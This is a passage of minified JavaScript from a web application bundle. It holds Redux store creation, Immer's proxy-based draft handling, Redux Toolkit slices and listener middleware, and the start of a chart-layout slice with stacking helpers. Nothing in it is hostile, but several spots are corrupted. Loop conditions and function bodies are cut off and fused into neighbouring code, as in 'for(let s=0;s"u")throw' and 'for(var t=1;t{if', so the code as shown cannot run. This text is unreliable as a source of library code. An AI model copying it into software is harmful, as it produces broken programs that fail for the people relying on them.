s=i.getBoundingClientRect(),o={height:s.height,left:s.left,top:s.top,width:s.width};(Math.abs(o.height-t.height)>Ul||Math.abs(o.left-t.left)>Ul||Math.abs(o.top-t.top)>Ul||Math.abs(o.width-t.width)>Ul)&&n({height:o.height,left:o.left,top:o.top,width:o.width})}},[t.width,t.height,t.top,t.left,...e]);return[t,r]}function Pt(e){return`Minified Redux error #${e}; visit https://redux.js.org/Errors?code=${e} for the full message or use the non-minified dev environment for full errors. `}var xO=typeof Symbol=="function"&&Symbol.observable||"@@observable",gy=xO,cm=()=>Math.random().toString(36).substring(7).split("").join("."),vO={INIT:`@@redux/INIT${cm()}`,REPLACE:`@@redux/REPLACE${cm()}`,PROBE_UNKNOWN_ACTION:()=>`@@redux/PROBE_UNKNOWN_ACTION${cm()}`},su=vO;function Yx(e){if(typeof e!="object"||e===null)return!1;let t=e;for(;Object.getPrototypeOf(t)!==null;)t=Object.getPrototypeOf(t);return Object.getPrototypeOf(e)===t||Object.getPrototypeOf(e)===null}function BN(e,t,n){if(typeof e!="function")throw new Error(Pt(2));if(typeof t=="function"&&typeof n=="function"||typeof n=="function"&&typeof arguments[3]=="function")throw new Error(Pt(0));if(typeof t=="function"&&typeof n>"u"&&(n=t,t=void 0),typeof n<"u"){if(typeof n!="function")throw new Error(Pt(1));return n(BN)(e,t)}let r=e,i=t,s=new Map,o=s,l=0,c=!1;function u(){o===s&&(o=new Map,s.forEach((y,v)=>{o.set(v,y)}))}function d(){if(c)throw new Error(Pt(3));return i}function f(y){if(typeof y!="function")throw new Error(Pt(4));if(c)throw new Error(Pt(5));let v=!0;u();const b=l++;return o.set(b,y),function(){if(v){if(c)throw new Error(Pt(6));v=!1,u(),o.delete(b),s=null}}}function p(y){if(!Yx(y))throw new Error(Pt(7));if(typeof y.type>"u")throw new Error(Pt(8));if(typeof y.type!="string")throw new Error(Pt(17));if(c)throw new Error(Pt(9));try{c=!0,i=r(i,y)}finally{c=!1}return(s=o).forEach(b=>{b()}),y}function h(y){if(typeof y!="function")throw new Error(Pt(10));r=y,p({type:su.REPLACE})}function x(){const y=f;return{subscribe(v){if(typeof v!="object"||v===null)throw new Error(Pt(11));function b(){const j=v;j.next&&j.next(d())}return b(),{unsubscribe:y(b)}},[gy](){return this}}}return p({type:su.INIT}),{dispatch:p,subscribe:f,getState:d,replaceReducer:h,[gy]:x}}function gO(e){Object.keys(e).forEach(t=>{const n=e[t];if(typeof n(void 0,{type:su.INIT})>"u")throw new Error(Pt(12));if(typeof n(void 0,{type:su.PROBE_UNKNOWN_ACTION()})>"u")throw new Error(Pt(13))})}function FN(e){const t=Object.keys(e),n={};for(let s=0;s"u")throw l&&l.type,new Error(Pt(14));u[f]=x,c=c||x!==h}return c=c||r.length!==Object.keys(o).length,c?u:o}}function ou(...e){return e.length===0?t=>t:e.length===1?e[0]:e.reduce((t,n)=>(...r)=>t(n(...r)))}function yO(...e){return t=>(n,r)=>{const i=t(n,r);let s=()=>{throw new Error(Pt(15))};const o={getState:i.getState,dispatch:(c,...u)=>s(c,...u)},l=e.map(c=>c(o));return s=ou(...l)(i.dispatch),{...i,dispatch:s}}}function WN(e){return Yx(e)&&"type"in e&&typeof e.type=="string"}var UN=Symbol.for("immer-nothing"),yy=Symbol.for("immer-draftable"),Vt=Symbol.for("immer-state");function Un(e,...t){throw new Error(`[Immer] minified error nr: ${e}. Full error at: https://bit.ly/3cXEKWf`)}var un=Object,cs=un.getPrototypeOf,lu="constructor",Ed="prototype",Wp="configurable",cu="enumerable",Nc="writable",Bo="value",Ir=e=>!!e&&!!e[Vt];function Zn(e){var t;return e?VN(e)||Ad(e)||!!e[yy]||!!((t=e[lu])!=null&&t[yy])||Od(e)||Td(e):!1}var bO=un[Ed][lu].toString(),by=new WeakMap;function VN(e){if(!e||!qx(e))return!1;const t=cs(e);if(t===null||t===un[Ed])return!0;const n=un.hasOwnProperty.call(t,lu)&&t[lu];if(n===Object)return!0;if(!Ea(n))return!1;let r=by.get(n);return r===void 0&&(r=Function.toString.call(n),by.set(n,r)),r===bO}function _d(e,t,n=!0){ol(e)===0?(n?Reflect.ownKeys(e):un.keys(e)).forEach(i=>{t(i,e[i],e)}):e.forEach((r,i)=>t(i,r,e))}function ol(e){const t=e[Vt];return t?t.type_:Ad(e)?1:Od(e)?2:Td(e)?3:0}var wy=(e,t,n=ol(e))=>n===2?e.has(t):un[Ed].hasOwnProperty.call(e,t),Up=(e,t,n=ol(e))=>n===2?e.get(t):e[t],uu=(e,t,n,r=ol(e))=>{r===2?e.set(t,n):r===3?e.add(n):e[t]=n};function wO(e,t){return e===t?e!==0||1/e===1/t:e!==e&&t!==t}var Ad=Array.isArray,Od=e=>e instanceof Map,Td=e=>e instanceof Set,qx=e=>typeof e=="object",Ea=e=>typeof e=="function",um=e=>typeof e=="boolean";function jO(e){const t=+e;return Number.isInteger(t)&&String(t)===e}var Nr=e=>e.copy_||e.base_,Xx=e=>e.modified_?e.copy_:e.base_;function Vp(e,t){if(Od(e))return new Map(e);if(Td(e))return new Set(e);if(Ad(e))return Array[Ed].slice.call(e);const n=VN(e);if(t===!0||t==="class_only"&&!n){const r=un.getOwnPropertyDescriptors(e);delete r[Vt];let i=Reflect.ownKeys(r);for(let s=0;s1&&un.defineProperties(e,{set:Vl,add:Vl,clear:Vl,delete:Vl}),un.freeze(e),t&&_d(e,(n,r)=>{Zx(r,!0)},!1)),e}function NO(){Un(2)}var Vl={[Bo]:NO};function Md(e){return e===null||!qx(e)?!0:un.isFrozen(e)}var du="MapSet",Hp="Patches",jy="ArrayMethods",HN={};function fa(e){const t=HN[e];return t||Un(0,e),t}var Ny=e=>!!HN[e],Fo,KN=()=>Fo,kO=(e,t)=>({drafts_:[],parent_:e,immer_:t,canAutoFreeze_:!0,unfinalizedDrafts_:0,handledSet_:new Set,processedForPatches_:new Set,mapSetPlugin_:Ny(du)?fa(du):void 0,arrayMethodsPlugin_:Ny(jy)?fa(jy):void 0});function ky(e,t){t&&(e.patchPlugin_=fa(Hp),e.patches_=[],e.inversePatches_=[],e.patchListener_=t)}function Kp(e){Gp(e),e.drafts_.forEach(zO),e.drafts_=null}function Gp(e){e===Fo&&(Fo=e.parent_)}var zy=e=>Fo=kO(Fo,e);function zO(e){const t=e[Vt];t.type_===0||t.type_===1?t.revoke_():t.revoked_=!0}function Sy(e,t){t.unfinalizedDrafts_=t.drafts_.length;const n=t.drafts_[0];if(e!==void 0&&e!==n){n[Vt].modified_&&(Kp(t),Un(4)),Zn(e)&&(e=Cy(t,e));const{patchPlugin_:i}=t;i&&i.generateReplacementPatches_(n[Vt].base_,e,t)}else e=Cy(t,n);return SO(t,e,!0),Kp(t),t.patches_&&t.patchListener_(t.patches_,t.inversePatches_),e!==UN?e:void 0}function Cy(e,t){if(Md(t))return t;const n=t[Vt];if(!n)return fu(t,e.handledSet_,e);if(!Ld(n,e))return t;if(!n.modified_)return n.base_;if(!n.finalized_){const{callbacks_:r}=n;if(r)for(;r.length>0;)r.pop()(e);qN(n,e)}return n.copy_}function SO(e,t,n=!1){!e.parent_&&e.immer_.autoFreeze_&&e.canAutoFreeze_&&Zx(t,n)}function GN(e){e.finalized_=!0,e.scope_.unfinalizedDrafts_--}var Ld=(e,t)=>e.scope_===t,CO=[];function YN(e,t,n,r){const i=Nr(e),s=e.type_;if(r!==void 0&&Up(i,r,s)===t){uu(i,r,n,s);return}if(!e.draftLocations_){const l=e.draftLocations_=new Map;_d(i,(c,u)=>{if(Ir(u)){const d=l.get(u)||[];d.push(c),l.set(u,d)}})}const o=e.draftLocations_.get(t)??CO;for(const l of o)uu(i,l,n,s)}function PO(e,t,n){e.callbacks_.push(function(i){var l;const s=t;if(!s||!Ld(s,i))return;(l=i.mapSetPlugin_)==null||l.fixSetContents(s);const o=Xx(s);YN(e,s.draft_??s,o,n),qN(s,i)})}function qN(e,t){var r;if(e.modified_&&!e.finalized_&&(e.type_===3||e.type_===1&&e.allIndicesReassigned_||(((r=e.assigned_)==null?void 0:r.size)??0)>0)){const{patchPlugin_:i}=t;if(i){const s=i.getPath(e);s&&i.generatePatches_(e,s,t)}GN(e)}}function EO(e,t,n){const{scope_:r}=e;if(Ir(n)){const i=n[Vt];Ld(i,r)&&i.callbacks_.push(function(){kc(e);const o=Xx(i);YN(e,n,o,t)})}else Zn(n)&&e.callbacks_.push(function(){const s=Nr(e);e.type_===3?s.has(n)&&fu(n,r.handledSet_,r):Up(s,t,e.type_)===n&&r.drafts_.length>1&&(e.assigned_.get(t)??!1)===!0&&e.copy_&&fu(Up(e.copy_,t,e.type_),r.handledSet_,r)})}function fu(e,t,n){return!n.immer_.autoFreeze_&&n.unfinalizedDrafts_<1||Ir(e)||t.has(e)||!Zn(e)||Md(e)||(t.add(e),_d(e,(r,i)=>{if(Ir(i)){const s=i[Vt];if(Ld(s,n)){const o=Xx(s);uu(e,r,o,e.type_),GN(s)}}else Zn(i)&&fu(i,t,n)})),e}function _O(e,t){const n=Ad(e),r={type_:n?1:0,scope_:t?t.scope_:KN(),modified_:!1,finalized_:!1,assigned_:void 0,parent_:t,base_:e,draft_:null,copy_:null,revoke_:null,isManual_:!1,callbacks_:void 0};let i=r,s=mu;n&&(i=[r],s=Wo);const{revoke:o,proxy:l}=Proxy.revocable(i,s);return r.draft_=l,r.revoke_=o,[l,r]}var mu={get(e,t){if(t===Vt)return e;let n=e.scope_.arrayMethodsPlugin_;const r=e.type_===1&&typeof t=="string";if(r&&n!=null&&n.isArrayOperationMethod(t))return n.createMethodInterceptor(e,t);const i=Nr(e);if(!wy(i,t,e.type_))return AO(e,i,t);const s=i[t];if(e.finalized_||!Zn(s)||r&&e.operationMethod&&(n!=null&&n.isMutatingArrayMethod(e.operationMethod))&&jO(t))return s;if(s===dm(e.base_,t)){kc(e);const o=e.type_===1?+t:t,l=qp(e.scope_,s,e,o);return e.copy_[o]=l}return s},has(e,t){return t in Nr(e)},ownKeys(e){return Reflect.ownKeys(Nr(e))},set(e,t,n){const r=XN(Nr(e),t);if(r!=null&&r.set)return r.set.call(e.draft_,n),!0;if(!e.modified_){const i=dm(Nr(e),t),s=i==null?void 0:i[Vt];if(s&&s.base_===n)return e.copy_[t]=n,e.assigned_.set(t,!1),!0;if(wO(n,i)&&(n!==void 0||wy(e.base_,t,e.type_)))return!0;kc(e),Yp(e)}return e.copy_[t]===n&&(n!==void 0||t in e.copy_)||Number.isNaN(n)&&Number.isNaN(e.copy_[t])||(e.copy_[t]=n,e.assigned_.set(t,!0),EO(e,t,n)),!0},deleteProperty(e,t){return kc(e),dm(e.base_,t)!==void 0||t in e.base_?(e.assigned_.set(t,!1),Yp(e)):e.assigned_.delete(t),e.copy_&&delete e.copy_[t],!0},getOwnPropertyDescriptor(e,t){const n=Nr(e),r=Reflect.getOwnPropertyDescriptor(n,t);return r&&{[Nc]:!0,[Wp]:e.type_!==1||t!=="length",[cu]:r[cu],[Bo]:n[t]}},defineProperty(){Un(11)},getPrototypeOf(e){return cs(e.base_)},setPrototypeOf(){Un(12)}},Wo={};for(let e in mu){let t=mu[e];Wo[e]=function(){const n=arguments;return n[0]=n[0][0],t.apply(this,n)}}Wo.deleteProperty=function(e,t){return Wo.set.call(this,e,t,void 0)};Wo.set=function(e,t,n){return mu.set.call(this,e[0],t,n,e[0])};function dm(e,t){const n=e[Vt];return(n?Nr(n):e)[t]}function AO(e,t,n){var i;const r=XN(t,n);return r?Bo in r?r[Bo]:(i=r.get)==null?void 0:i.call(e.draft_):void 0}function XN(e,t){if(!(t in e))return;let n=cs(e);for(;n;){const r=Object.getOwnPropertyDescriptor(n,t);if(r)return r;n=cs(n)}}function Yp(e){e.modified_||(e.modified_=!0,e.parent_&&Yp(e.parent_))}function kc(e){e.copy_||(e.assigned_=new Map,e.copy_=Vp(e.base_,e.scope_.immer_.useStrictShallowCopy_))}var OO=class{constructor(t){this.autoFreeze_=!0,this.useStrictShallowCopy_=!1,this.useStrictIteration_=!1,this.produce=(n,r,i)=>{if(Ea(n)&&!Ea(r)){const o=r;r=n;const l=this;return function(u=o,...d){return l.produce(u,f=>r.call(this,f,...d))}}Ea(r)||Un(6),i!==void 0&&!Ea(i)&&Un(7);let s;if(Zn(n)){const o=zy(this),l=qp(o,n,void 0);let c=!0;try{s=r(l),c=!1}finally{c?Kp(o):Gp(o)}return ky(o,i),Sy(s,o)}else if(!n||!qx(n)){if(s=r(n),s===void 0&&(s=n),s===UN&&(s=void 0),this.autoFreeze_&&Zx(s,!0),i){const o=[],l=[];fa(Hp).generateReplacementPatches_(n,s,{patches_:o,inversePatches_:l}),i(o,l)}return s}else Un(1,n)},this.produceWithPatches=(n,r)=>{if(Ea(n))return(l,...c)=>this.produceWithPatches(l,u=>n(u,...c));let i,s;return[this.produce(n,r,(l,c)=>{i=l,s=c}),i,s]},um(t==null?void 0:t.autoFreeze)&&this.setAutoFreeze(t.autoFreeze),um(t==null?void 0:t.useStrictShallowCopy)&&this.setUseStrictShallowCopy(t.useStrictShallowCopy),um(t==null?void 0:t.useStrictIteration)&&this.setUseStrictIteration(t.useStrictIteration)}createDraft(t){Zn(t)||Un(8),Ir(t)&&(t=Yn(t));const n=zy(this),r=qp(n,t,void 0);return r[Vt].isManual_=!0,Gp(n),r}finishDraft(t,n){const r=t&&t[Vt];(!r||!r.isManual_)&&Un(9);const{scope_:i}=r;return ky(i,n),Sy(void 0,i)}setAutoFreeze(t){this.autoFreeze_=t}setUseStrictShallowCopy(t){this.useStrictShallowCopy_=t}setUseStrictIteration(t){this.useStrictIteration_=t}shouldUseStrictIteration(){return this.useStrictIteration_}applyPatches(t,n){let r;for(r=n.length-1;r>=0;r--){const s=n[r];if(s.path.length===0&&s.op==="replace"){t=s.value;break}}r>-1&&(n=n.slice(r+1));const i=fa(Hp).applyPatches_;return Ir(t)?i(t,n):this.produce(t,s=>i(s,n))}};function qp(e,t,n,r){const[i,s]=Od(t)?fa(du).proxyMap_(t,n):Td(t)?fa(du).proxySet_(t,n):_O(t,n);return((n==null?void 0:n.scope_)??KN()).drafts_.push(i),s.callbacks_=(n==null?void 0:n.callbacks_)??[],s.key_=r,n&&r!==void 0?PO(n,s,r):s.callbacks_.push(function(c){var d;(d=c.mapSetPlugin_)==null||d.fixSetContents(s);const{patchPlugin_:u}=c;s.modified_&&u&&u.generatePatches_(s,[],c)}),i}function Yn(e){return Ir(e)||Un(10,e),ZN(e)}function ZN(e){if(!Zn(e)||Md(e))return e;const t=e[Vt];let n,r=!0;if(t){if(!t.modified_)return t.base_;t.finalized_=!0,n=Vp(e,t.scope_.immer_.useStrictShallowCopy_),r=t.scope_.immer_.shouldUseStrictIteration()}else n=Vp(e,!0);return _d(n,(i,s)=>{uu(n,i,ZN(s))},r),t&&(t.finalized_=!1),n}var TO=new OO,QN=TO.produce;function JN(e){return({dispatch:n,getState:r})=>i=>s=>typeof s=="function"?s(n,r,e):i(s)}var MO=JN(),LO=JN,IO=typeof window<"u"&&window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__?window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__:function(){if(arguments.length!==0)return typeof arguments[0]=="object"?ou:ou.apply(null,arguments)};function On(e,t){function n(...r){if(t){let i=t(...r);if(!i)throw new Error(mn(0));return{type:e,payload:i.payload,..."meta"in i&&{meta:i.meta},..."error"in i&&{error:i.error}}}return{type:e,payload:r[0]}}return n.toString=()=>`${e}`,n.type=e,n.match=r=>WN(r)&&r.type===e,n}var ek=class ro extends Array{constructor(...t){super(...t),Object.setPrototypeOf(this,ro.prototype)}static get[Symbol.species](){return ro}concat(...t){return super.concat.apply(this,t)}prepend(...t){return t.length===1&&Array.isArray(t[0])?new ro(...t[0].concat(this)):new ro(...t.concat(this))}};function Py(e){return Zn(e)?QN(e,()=>{}):e}function Hl(e,t,n){return e.has(t)?e.get(t):e.set(t,n(t)).get(t)}function DO(e){return typeof e=="boolean"}var RO=()=>function(t){const{thunk:n=!0,immutableCheck:r=!0,serializableCheck:i=!0,actionCreatorCheck:s=!0}=t??{};let o=new ek;return n&&(DO(n)?o.push(MO):o.push(LO(n.extraArgument))),o},tk="RTK_autoBatch",He=()=>e=>({payload:e,meta:{[tk]:!0}}),Ey=e=>t=>{setTimeout(t,e)},nk=(e={type:"raf"})=>t=>(...n)=>{const r=t(...n);let i=!0,s=!1,o=!1;const l=new Set,c=e.type==="tick"?queueMicrotask:e.type==="raf"?typeof window<"u"&&window.requestAnimationFrame?window.requestAnimationFrame:Ey(10):e.type==="callback"?e.queueNotification:Ey(e.timeout),u=()=>{o=!1,s&&(s=!1,l.forEach(d=>d()))};return Object.assign({},r,{subscribe(d){const f=()=>i&&d(),p=r.subscribe(f);return l.add(d),()=>{p(),l.delete(d)}},dispatch(d){var f;try{return i=!((f=d==null?void 0:d.meta)!=null&&f[tk]),s=!i,s&&(o||(o=!0,c(u))),r.dispatch(d)}finally{i=!0}}})},$O=e=>function(n){const{autoBatch:r=!0}=n??{};let i=new ek(e);return r&&i.push(nk(typeof r=="object"?r:void 0)),i};function BO(e){const t=RO(),{reducer:n=void 0,middleware:r,devTools:i=!0,preloadedState:s=void 0,enhancers:o=void 0}=e||{};let l;if(typeof n=="function")l=n;else if(Yx(n))l=FN(n);else throw new Error(mn(1));let c;typeof r=="function"?c=r(t):c=t();let u=ou;i&&(u=IO({trace:!1,...typeof i=="object"&&i}));const d=yO(...c),f=$O(d);let p=typeof o=="function"?o(f):f();const h=u(...p);return BN(l,s,h)}function rk(e){const t={},n=[];let r;const i={addCase(s,o){const l=typeof s=="string"?s:s.type;if(!l)throw new Error(mn(28));if(l in t)throw new Error(mn(29));return t[l]=o,i},addAsyncThunk(s,o){return o.pending&&(t[s.pending.type]=o.pending),o.rejected&&(t[s.rejected.type]=o.rejected),o.fulfilled&&(t[s.fulfilled.type]=o.fulfilled),o.settled&&n.push({matcher:s.settled,reducer:o.settled}),i},addMatcher(s,o){return n.push({matcher:s,reducer:o}),i},addDefaultCase(s){return r=s,i}};return e(i),[t,n,r]}function FO(e){return typeof e=="function"}function WO(e,t){let[n,r,i]=rk(t),s;if(FO(e))s=()=>Py(e());else{const l=Py(e);s=()=>l}function o(l=s(),c){let u=[n[c.type],...r.filter(({matcher:d})=>d(c)).map(({reducer:d})=>d)];return u.filter(d=>!!d).length===0&&(u=[i]),u.reduce((d,f)=>{if(f)if(Ir(d)){const h=f(d,c);return h===void 0?d:h}else{if(Zn(d))return QN(d,p=>f(p,c));{const p=f(d,c);if(p===void 0){if(d===null)return d;throw Error("A case reducer on a non-draftable value must not return undefined")}return p}}return d},l)}return o.getInitialState=s,o}var UO="ModuleSymbhasOwnPr-0123456789ABCDEFGHNRVfgctiUvz_KqYTJkLxpZXIjQW",VO=(e=21)=>{let t="",n=e;for(;n--;)t+=UO[Math.random()*64|0];return t},HO=Symbol.for("rtk-slice-createasyncthunk");function KO(e,t){return`${e}/${t}`}function GO({creators:e}={}){var n;const t=(n=e==null?void 0:e.asyncThunk)==null?void 0:n[HO];return function(i){const{name:s,reducerPath:o=s}=i;if(!s)throw new Error(mn(11));const l=(typeof i.reducers=="function"?i.reducers(qO()):i.reducers)||{},c=Object.keys(l),u={sliceCaseReducersByName:{},sliceCaseReducersByType:{},actionCreators:{},sliceMatchers:[]},d={addCase(j,N){const k=typeof j=="string"?j:j.type;if(!k)throw new Error(mn(12));if(k in u.sliceCaseReducersByType)throw new Error(mn(13));return u.sliceCaseReducersByType[k]=N,d},addMatcher(j,N){return u.sliceMatchers.push({matcher:j,reducer:N}),d},exposeAction(j,N){return u.actionCreators[j]=N,d},exposeCaseReducer(j,N){return u.sliceCaseReducersByName[j]=N,d}};c.forEach(j=>{const N=l[j],k={reducerName:j,type:KO(s,j),createNotation:typeof i.reducers=="function"};ZO(N)?JO(k,N,d,t):XO(k,N,d)});function f(){const[j={},N=[],k=void 0]=typeof i.extraReducers=="function"?rk(i.extraReducers):[i.extraReducers],z={...j,...u.sliceCaseReducersByType};return WO(i.initialState,S=>{for(let O in z)S.addCase(O,z[O]);for(let O of u.sliceMatchers)S.addMatcher(O.matcher,O.reducer);for(let O of N)S.addMatcher(O.matcher,O.reducer);k&&S.addDefaultCase(k)})}const p=j=>j,h=new Map,x=new WeakMap;let g;function y(j,N){return g||(g=f()),g(j,N)}function v(){return g||(g=f()),g.getInitialState()}function b(j,N=!1){function k(S){let O=S[j];return typeof O>"u"&&N&&(O=Hl(x,k,v)),O}function z(S=p){const O=Hl(h,N,()=>new WeakMap);return Hl(O,S,()=>{const A={};for(const[T,P]of Object.entries(i.selectors??{}))A[T]=YO(P,S,()=>Hl(x,S,v),N);return A})}return{reducerPath:j,getSelectors:z,get selectors(){return z(k)},selectSlice:k}}const w={name:s,reducer:y,actions:u.actionCreators,caseReducers:u.sliceCaseReducersByName,getInitialState:v,...b(o),injectInto(j,{reducerPath:N,...k}={}){const z=N??o;return j.inject({reducerPath:z,reducer:y},k),{...w,...b(z,!0)}}};return w}}function YO(e,t,n,r){function i(s,...o){let l=t(s);return typeof l>"u"&&r&&(l=n()),e(l,...o)}return i.unwrapped=e,i}var nn=GO();function qO(){function e(t,n){return{_reducerDefinitionType:"asyncThunk",payloadCreator:t,...n}}return e.withTypes=()=>e,{reducer(t){return Object.assign({[t.name](...n){return t(...n)}}[t.name],{_reducerDefinitionType:"reducer"})},preparedReducer(t,n){return{_reducerDefinitionType:"reducerWithPrepare",prepare:t,reducer:n}},asyncThunk:e}}function XO({type:e,reducerName:t,createNotation:n},r,i){let s,o;if("reducer"in r){if(n&&!QO(r))throw new Error(mn(17));s=r.reducer,o=r.prepare}else s=r;i.addCase(e,s).exposeCaseReducer(t,s).exposeAction(t,o?On(e,o):On(e))}function ZO(e){return e._reducerDefinitionType==="asyncThunk"}function QO(e){return e._reducerDefinitionType==="reducerWithPrepare"}function JO({type:e,reducerName:t},n,r,i){if(!i)throw new Error(mn(18));const{payloadCreator:s,fulfilled:o,pending:l,rejected:c,settled:u,options:d}=n,f=i(e,s,d);r.exposeAction(t,f),o&&r.addCase(f.fulfilled,o),l&&r.addCase(f.pending,l),c&&r.addCase(f.rejected,c),u&&r.addMatcher(f.settled,u),r.exposeCaseReducer(t,{fulfilled:o||Kl,pending:l||Kl,rejected:c||Kl,settled:u||Kl})}function Kl(){}var eT="task",ik="listener",ak="completed",Qx="cancelled",tT=`task-${Qx}`,nT=`task-${ak}`,Xp=`${ik}-${Qx}`,rT=`${ik}-${ak}`,Id=class{constructor(e){Pf(this,"name","TaskAbortError");Pf(this,"message");this.code=e,this.message=`${eT} ${Qx} (reason: ${e})`}},Jx=(e,t)=>{if(typeof e!="function")throw new TypeError(mn(32))},pu=()=>{},sk=(e,t=pu)=>(e.catch(t),e),ok=(e,t)=>(e.addEventListener("abort",t,{once:!0}),()=>e.removeEventListener("abort",t)),Ji=e=>{if(e.aborted)throw new Id(e.reason)};function lk(e,t){let n=pu;return new Promise((r,i)=>{const s=()=>i(new Id(e.reason));if(e.aborted){s();return}n=ok(e,s),t.finally(()=>n()).then(r,i)}).finally(()=>{n=pu})}var iT=async(e,t)=>{try{return await Promise.resolve(),{status:"ok",value:await e()}}catch(n){return{status:n instanceof Id?"cancelled":"rejected",error:n}}finally{t==null||t()}},hu=e=>t=>sk(lk(e,t).then(n=>(Ji(e),n))),ck=e=>{const t=hu(e);return n=>t(new Promise(r=>setTimeout(r,n)))},{assign:Za}=Object,_y={},Dd="listenerMiddleware",aT=(e,t)=>{const n=r=>ok(e,()=>r.abort(e.reason));return(r,i)=>{Jx(r);const s=new AbortController;n(s);const o=iT(async()=>{Ji(e),Ji(s.signal);const l=await r({pause:hu(s.signal),delay:ck(s.signal),signal:s.signal});return Ji(s.signal),l},()=>s.abort(nT));return i!=null&&i.autoJoin&&t.push(o.catch(pu)),{result:hu(e)(o),cancel(){s.abort(tT)}}}},sT=(e,t)=>{const n=async(r,i)=>{Ji(t);let s=()=>{};const l=[new Promise((c,u)=>{let d=e({predicate:r,effect:(f,p)=>{p.unsubscribe(),c([f,p.getState(),p.getOriginalState()])}});s=()=>{d(),u()}})];i!=null&&l.push(new Promise(c=>setTimeout(c,i,null)));try{const c=await lk(t,Promise.race(l));return Ji(t),c}finally{s()}};return(r,i)=>sk(n(r,i))},uk=e=>{let{type:t,actionCreator:n,matcher:r,predicate:i,effect:s}=e;if(t)i=On(t).match;else if(n)t=n.type,i=n.match;else if(r)i=r;else if(!i)throw new Error(mn(21));return Jx(s),{predicate:i,type:t,effect:s}},dk=Za(e=>{const{type:t,predicate:n,effect:r}=uk(e);return{id:VO(),effect:r,type:t,predicate:n,pending:new Set,unsubscribe:()=>{throw new Error(mn(22))}}},{withTypes:()=>dk}),Ay=(e,t)=>{const{type:n,effect:r,predicate:i}=uk(t);return Array.from(e.values()).find(s=>(typeof n=="string"?s.type===n:s.predicate===i)&&s.effect===r)},Zp=e=>{e.pending.forEach(t=>{t.abort(Xp)})},oT=(e,t)=>()=>{for(const n of t.keys())Zp(n);e.clear()},Oy=(e,t,n)=>{try{e(t,n)}catch(r){setTimeout(()=>{throw r},0)}},fk=Za(On(`${Dd}/add`),{withTypes:()=>fk}),lT=On(`${Dd}/removeAll`),mk=Za(On(`${Dd}/remove`),{withTypes:()=>mk}),cT=(...e)=>{console.error(`${Dd}/error`,...e)},ll=(e={})=>{const t=new Map,n=new Map,r=h=>{const x=n.get(h)??0;n.set(h,x+1)},i=h=>{const x=n.get(h)??1;x===1?n.delete(h):n.set(h,x-1)},{extra:s,onError:o=cT}=e;Jx(o);const l=h=>(h.unsubscribe=()=>t.delete(h.id),t.set(h.id,h),x=>{h.unsubscribe(),x!=null&&x.cancelActive&&Zp(h)}),c=h=>{const x=Ay(t,h)??dk(h);return l(x)};Za(c,{withTypes:()=>c});const u=h=>{const x=Ay(t,h);return x&&(x.unsubscribe(),h.cancelActive&&Zp(x)),!!x};Za(u,{withTypes:()=>u});const d=async(h,x,g,y)=>{const v=new AbortController,b=sT(c,v.signal),w=[];try{h.pending.add(v),r(h),await Promise.resolve(h.effect(x,Za({},g,{getOriginalState:y,condition:(j,N)=>b(j,N).then(Boolean),take:b,delay:ck(v.signal),pause:hu(v.signal),extra:s,signal:v.signal,fork:aT(v.signal,w),unsubscribe:h.unsubscribe,subscribe:()=>{t.set(h.id,h)},cancelActiveListeners:()=>{h.pending.forEach((j,N,k)=>{j!==v&&(j.abort(Xp),k.delete(j))})},cancel:()=>{v.abort(Xp),h.pending.delete(v)},throwIfCancelled:()=>{Ji(v.signal)}})))}catch(j){j instanceof Id||Oy(o,j,{raisedBy:"effect"})}finally{await Promise.all(w),v.abort(rT),i(h),h.pending.delete(v)}},f=oT(t,n);return{middleware:h=>x=>g=>{if(!WN(g))return x(g);if(fk.match(g))return c(g.payload);if(lT.match(g)){f();return}if(mk.match(g))return u(g.payload);let y=h.getState();const v=()=>{if(y===_y)throw new Error(mn(23));return y};let b;try{if(b=x(g),t.size>0){const w=h.getState(),j=Array.from(t.values());for(const N of j){let k=!1;try{k=N.predicate(g,w,y)}catch(z){k=!1,Oy(o,z,{raisedBy:"predicate"})}k&&d(N,g,h,v)}}}finally{y=_y}return b},startListening:c,stopListening:u,clearListeners:f}};function mn(e){return`Minified Redux Toolkit error #${e}; visit https://redux-toolkit.js.org/Errors?code=${e} for the full message or use the non-minified dev environment for full errors. `}var uT={layoutType:"horizontal",width:0,height:0,margin:{top:5,right:5,bottom:5,left:5},scale:1},pk=nn({name:"chartLayout",initialState:uT,reducers:{setLayout(e,t){e.layoutType=t.payload},setChartSize(e,t){e.width=t.payload.width,e.height=t.payload.height},setMargin(e,t){var n,r,i,s;e.margin.top=(n=t.payload.top)!==null&&n!==void 0?n:0,e.margin.right=(r=t.payload.right)!==null&&r!==void 0?r:0,e.margin.bottom=(i=t.payload.bottom)!==null&&i!==void 0?i:0,e.margin.left=(s=t.payload.left)!==null&&s!==void 0?s:0},setScale(e,t){e.scale=t.payload}}}),{setMargin:dT,setLayout:fT,setChartSize:mT,setScale:pT}=pk.actions,hT=pk.reducer;function hk(e,t,n){return Array.isArray(e)&&e&&t+n!==0?e.slice(t,n+1):e}function Ee(e){return Number.isFinite(e)}function Si(e){return typeof e=="number"&&e>0&&Number.isFinite(e)}function Ty(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Wa(e){for(var t=1;t{if(t&&n){var{width:r,height:i}=n,{align:s,verticalAlign:o,layout:l}=t;if((l==="vertical"||l==="horizontal"&&o==="middle")&&s!=="center"&&ge(e[s]))return Wa(Wa({},e),{},{[s]:e[s]+(r||0)});if((l==="horizontal"||l==="vertical"&&s==="center")&&o!=="middle"&&ge(e[o]))return Wa(Wa({},e),{},{[o]:e[o]+(i||0)})}return e},vr=(e,t)=>e==="horizontal"&&t==="xAxis"||e==="vertical"&&t==="yAxis"||e==="centric"&&t==="angleAxis"||e==="radial"&&t==="radiusAxis",bT=e=>{var t,n=e.length;if(!(n<=0)){var r=(t=e[0])===null||t===void 0?void 0:t.length;if(!(r==null||r<=0))for(var i=0;i=0?(u[0]=s,s+=p,u[1]=s):(u[0]=o,o+=p,u[1]=o)}}}},wT=e=>{var t,n=e.length;if(!(n<=0)){var r=(t=e[0])===null||t===void 0?void 0:t.length;if(!(r==null||r<=0))for(var i=0;i=0?(c[0]=s,s+=u,c[1]=s):(c[0]=0,c[1]=0)}}}},jT={sign:bT,expand:uA,none:ua,silhouette:dA,wiggle:fA,positive:wT},NT=(e,t,n)=>{var r,i=(r=jT[n])!==null&&r!==void 